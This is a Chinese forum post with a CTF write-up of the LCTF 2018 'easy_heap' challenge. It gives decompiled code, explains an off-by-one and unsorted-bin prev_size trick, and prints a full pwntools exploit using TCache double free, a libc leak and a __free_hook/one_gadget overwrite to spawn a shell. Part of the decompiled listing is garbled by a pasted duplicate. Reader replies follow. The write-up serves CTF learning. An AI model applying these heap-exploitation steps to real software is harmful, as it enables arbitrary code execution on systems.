首页
社区
课程
招聘
[原创]LCTF 2018 easy_heap
2018-11-20 03:29 16003

[原创]LCTF 2018 easy_heap

2018-11-20 03:29
16003

这道题目也是一个经典的笔记本类型heap题目,不过题目创新之处在于改写prev_size的方式,我们先来看看大概代码:

unsigned __int64 free_p()
{
  unsigned int _index; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("index \n> ");
  _index = read_num();
  if ( _index > 9 || !*(_QWORD *)(16LL * _index + malloc_array) )
    exit_p();
  memset(*(void **)(16LL * _index + malloc_array), 0, *(unsigned int *)(16LL * _index + malloc_array + 8));
  free(*(void **)(16LL * _index + malloc_array));
  *(_DWORD *)(16LL * _index + malloc_array + 8) = 0;
  *(_QWORD *)(16LL * _index + malloc_array) = 0LL;
  return __readfsqword(0x28u) ^ v2;
}


unsigned __int64 put_p()
{
  unsigned int _index; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("index \n> ");
  _index = read_num();
  if ( _index > 9 || !*(_QWORD *)(16LL * _index + malloc_array) )
    exit_p();
  puts(*(const char **)(16LL * _index + malloc_array));
  return __readfsqword(0x28u) ^ v2;

    int _sizea; // [rsp+0h] [rbp-20h]
  unsigned int size; // [rsp+4h] [rbp-1Ch]
  unsigned __int64 v5; // [rsp+8h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  LODWORD(_size) = 0;
  while ( (signed int)_size <= 9 && *(_QWORD *)(16LL * (signed int)_size + malloc_array) )
    LODWORD(_size) = _size + 1;
  if ( (_DWORD)_size == 10 )                    // limited max size to 10
  {
    puts("full!");
  }
  else
  {
    m_ptr = malloc_array;
    *(_QWORD *)(m_ptr + 16LL * (signed int)_size) = malloc(0xF8uLL);
    if ( !*(_QWORD *)(16LL * (signed int)_size + malloc_array) )
    {
      puts("malloc error!");
      exit_p();
    }
    printf("size \n> ", _size);
    size = read_num();
    if ( size > 0xF8 )
      exit_p();
    *(_DWORD *)(16LL * _sizea + malloc_array + 8) = size;
    printf("content \n> ");
    read_content(*(_BYTE **)(16LL * _sizea + malloc_array), *(_DWORD *)(16LL * _sizea + malloc_array + 8));
  }
  return __readfsqword(0x28u) ^ v5;
}
}


unsigned __int64 malloc_p()
{
  __int64 m_ptr; // rbx
  __int64 _size; // [rsp+0h] [rbp-20h]
  int _sizea; // [rsp+0h] [rbp-20h]
  unsigned int size; // [rsp+4h] [rbp-1Ch]
  unsigned __int64 v5; // [rsp+8h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  LODWORD(_size) = 0;
  while ( (signed int)_size <= 9 && *(_QWORD *)(16LL * (signed int)_size + malloc_array) )
    LODWORD(_size) = _size + 1;
  if ( (_DWORD)_size == 10 )                    // limited max size to 10
  {
    puts("full!");
  }
  else
  {
    m_ptr = malloc_array;
    *(_QWORD *)(m_ptr + 16LL * (signed int)_size) = malloc(0xF8uLL);
    if ( !*(_QWORD *)(16LL * (signed int)_size + malloc_array) )
    {
      puts("malloc error!");
      exit_p();
    }
    printf("size \n> ", _size);
    size = read_num();
    if ( size > 0xF8 )
      exit_p();
    *(_DWORD *)(16LL * _sizea + malloc_array + 8) = size;
    printf("content \n> ");
    read_content(*(_BYTE **)(16LL * _sizea + malloc_array), *(_DWORD *)(16LL * _sizea + malloc_array + 8));
  }
  return __readfsqword(0x28u) ^ v5;
}


unsigned __int64 __fastcall read_content(_BYTE *content, int size)
{
  unsigned int index; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  index = 0;
  if ( size )
  {
    while ( 1 )
    {
      read(0, &content[index], 1uLL);
      if ( size - 1 < index || !content[index] || content[index] == 0xA )
        break;
      ++index;
    }
    content[index] = 0;
    content[size] = 0;                          // off by one
  }
  else
  {
    *content = 0;
  }
  return __readfsqword(0x28u) ^ v4;
}


void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int _opt; // eax

  setbuf_print_slogan();
  malloc_array = (__int64)calloc(0xA0uLL, 1uLL);
  if ( !malloc_array )
  {
    puts("init error!");
    exit_p();
  }
  while ( 1 )
  {
    while ( 1 )
    {
      sub_B38();
      _opt = read_num();
      if ( _opt != 2 )
        break;
      free_p();
    }
    if ( _opt > 2 )
    {
      if ( _opt == 3 )
      {
        put_p();
      }
      else if ( _opt == 4 )
      {
        exit_p();
      }
    }
    else if ( _opt == 1 )
    {
      malloc_p();
    }
  }
}

有必要指出来的是, malloc_array 存储了各个chunk的地址以及对应存储内容的大小。

 

read_content函数有一个很明显的 off by one 。当我们创建输入size 248(也就是"0xf8")时, 相邻chunk的prev_inuse会被抹除掉。这样,我们就可以创建overlapping chunk。 再然后,我们用 TCache 双重释放 overlapping chunks,最后控制了新创建的chunk地址就可以任意地址写了。

 

但是呢,这里所有的chunk大小都为 0x100,也就是说我们必须写入0x100的整倍数以创建overlapping chunk(比如0x200)。 '\x00'会被 read_content检测, 导致我们不能直接输入 0x200prev_size

 

我想了想,最后发现我们可以用 unsorted bin 改写 prev_size. 当unsorted合并的时候, 他会创建一个prev_size于块的末尾. 如果我们合并chunk A, B, C (大小都是 0x100),会发生如下图的事:

合并 Chunk A:
+---------------+
|  size: 0x100  | -> unosrted bin大小
+---------------+
|     fd/bk     |
+---------------+
|               |
|               |
|               |
+---------------+
|prev size:0x100| -> 写入的prev_size
+---------------+

合并Chunk B到unsorted bins:
+---------------+
|  size: 0x200  | -> 被合并过的unsorted bin大小
+---------------+
|     fd/bk     |
+---------------+
|               |
|               |
|               |
+---------------+
|prev size:0x100| -> 原来的prev_size会保持在这里
+---------------+
|  size: 0x100  | 
+---------------+
|               |
|               |
|               |
|               |
+---------------+
|prev size:0x200| -> 新的prev_size
+---------------+

unsorted bin现在的大小是0x200, 然后添加 Chunk C
+---------------+
|  size: 0x300  | -> unosrted bin大小
+---------------+
|     fd/bk     |
+---------------+
|               |
|               |
|               |
+---------------+
|prev size:0x100|
+---------------+
|  size: 0x100  |
+---------------+
|               |
|               |
|               |
|               |
+---------------+
|prev size:0x200| -> 0x200,刚刚好可以用来overlap!
+---------------+
|  size: 0x100  | 
+---------------+
|               |
|               |
|               |
|               |
+---------------+
|prev size:0x300| -> 最终的size
+---------------+

当Unsorted Bin被malloc之后, 它只会改变最后的那个 prev_size (0x300那个), 所以中间的 (0x200) 保持不变。

 

最后就是常规的TCache利用了。 由于开启了"Full RELRO",我们只能改写 free_hookone_gadget来RCE. btw,我们需要填充7个chunk到TCache,不然程序不会使用unsorted bin。用TCache double free的时候也是一个道理,先free掉unsorted bin里的chunk,我们才能用TCache。

 

攻击脚本:

from pwn import *

p = process("easy_heap")
context.log_level = "DEBUG"

def _free(index):
    p.sendlineafter(">", "2")
    p.sendlineafter(">", str(index))

def _malloc(size, content):
    p.sendlineafter(">", "1")
    p.sendlineafter(">", str(size))
    p.sendlineafter(">", content)

def _puts(index):
    p.sendlineafter(">", "3")
    p.sendlineafter(">", str(index))

def fill_tcache(start, end, step = 1):
    for i in range(start, end, step):
        _free(i)

def remove_tcache(num):
    for i in range(0, num):
        _malloc(2, "a")


# Initialize
for i in range(0, 10):
    _malloc(0x2, "a")

# fill the TCache to put chunk to unsorted bins
fill_tcache(3, 10)

# Chunk1 and chunk2 will merged, so chunk3's prev_size = 0x200
# Now, we can use off by one to overlap chunks
_free(0)
_free(1)
_free(2)

# Apply again to split unsorted bin
# The array will be filled from 0 ~ 6
remove_tcache(7)

# Split unosrted bin now, we can get 0x200 in prev_size of chunk9
_malloc(0x2, "7") # chunk7
_malloc(0x2, "8") # chunk8

# If we continue use free, they will be put to unosrted bin
# and the prev_size byte will be erased
# therefore, we apply tacache to store them
# We also need to switch there location in list
# Otherwise we cannot erase the prev_inuse byte
_malloc(0x2, "9")
_free(8)
fill_tcache(0, 6)
_free(7)

# off by one
remove_tcache(6)
_malloc(0xf8, "8")

# Again, we need to full filled our TCache to use unsorted bin
fill_tcache(0, 7)

# Trigger Overlap
_free(9)
remove_tcache(7)
_malloc(0x1, "a")

# Leak main_arena
_puts(7)
main_arena = p.recvline()[1:-1]
base = u64(main_arena + '\x00' * 2) - 0x3ebca0
print "base_addr: " + hex(base)
one_gadget = base + 0x4f322
free_hook = base + 0x3ed8e8
print "free_hook:" + hex(free_hook)

# TCache Arbitrary Write
_malloc(2, "0x9")
_free(7)
_free(9)
_malloc(0x10, p64(free_hook))

# Merege chunks to extra write
fill_tcache(0, 7)
remove_tcache(7)
_malloc(0x10, p64(one_gadget))
_free(0)

p.interactive()

最后依然是广告,这是我的blog:http://www.auxy.xyz ,欢迎各位大佬访问QWQ

 

后面的几个pwn writeup有时间就写orz,尽量争取吧


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2018-11-20 03:35 被Auxy编辑 ,原因:
上传的附件:
收藏
点赞4
打赏
分享
最新回复 (8)
雪    币: 235
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Dawnsec 2018-11-20 22:20
2
0
wp清晰,赞

带有pre_size的chunk放入unsorted bin,再拿出来pre_size是会被清空吗?
最后于 2018-11-21 21:21 被Dawnsec编辑 ,原因:
雪    币: 431
活跃值: (259)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
Auxy 2018-11-21 23:39
3
0
Dawnsec wp清晰,赞带有pre_size的chunk放入unsorted bin,再拿出来pre_size是会被清空吗?
对的
雪    币: 3562
活跃值: (422)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
V1NKe 2 2018-11-22 09:30
4
1
我想问问ubuntu16.04怎么把libc2.27加载到程序上去。。网上的改LD_PRELOAD,process里面设置env,试了都没有用。。
雪    币: 431
活跃值: (259)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
Auxy 2018-11-22 13:52
5
0
VINKKe 我想问问ubuntu16.04怎么把libc2.27加载到程序上去。。网上的改LD_PRELOAD,process里面设置env,试了都没有用。。[em_2]
我没试过orz 我是直接上18.04的
雪    币: 3562
活跃值: (422)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
V1NKe 2 2018-11-22 16:33
6
0
Auxy 我没试过orz 我是直接上18.04的
好 谢谢
雪    币: 1334
活跃值: (30)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
AshenOne 2019-8-2 01:15
7
0
# Trigger Overlap
_free(9)
这里貌似跑不通。。在后向合并的时候会校验prev_size和要合并的chunk的chunksize是否一致。问题是这里没有修改这个chunk的chunksize。。我用的2.28版本
雪    币: 1334
活跃值: (30)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
AshenOne 2019-8-2 01:26
8
0
V1NKe 我想问问ubuntu16.04怎么把libc2.27加载到程序上去。。网上的改LD_PRELOAD,process里面设置env,试了都没有用。。[em_2]
还需要修改interp的ld.so为对应libc版本的。两种改法,要么改为ld.so,工作目录下有对应版本ld.so,运行时自动使用目录下的ld.so加载;或者直接改为绝对路径(长度够的话)。
雪    币: 1334
活跃值: (30)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
AshenOne 2019-8-3 14:17
9
0
AshenOne # Trigger Overlap _free(9) 这里貌似跑不通。。在后向合并的时候会校验prev_size和要合并的chunk的chunksize是否一致。问题是这里没有修改这个chunk的 ...
好吧,看了下2.27版本的。居然没有这个检查,怪不得可以这么玩
游客
登录 | 注册 方可回帖
返回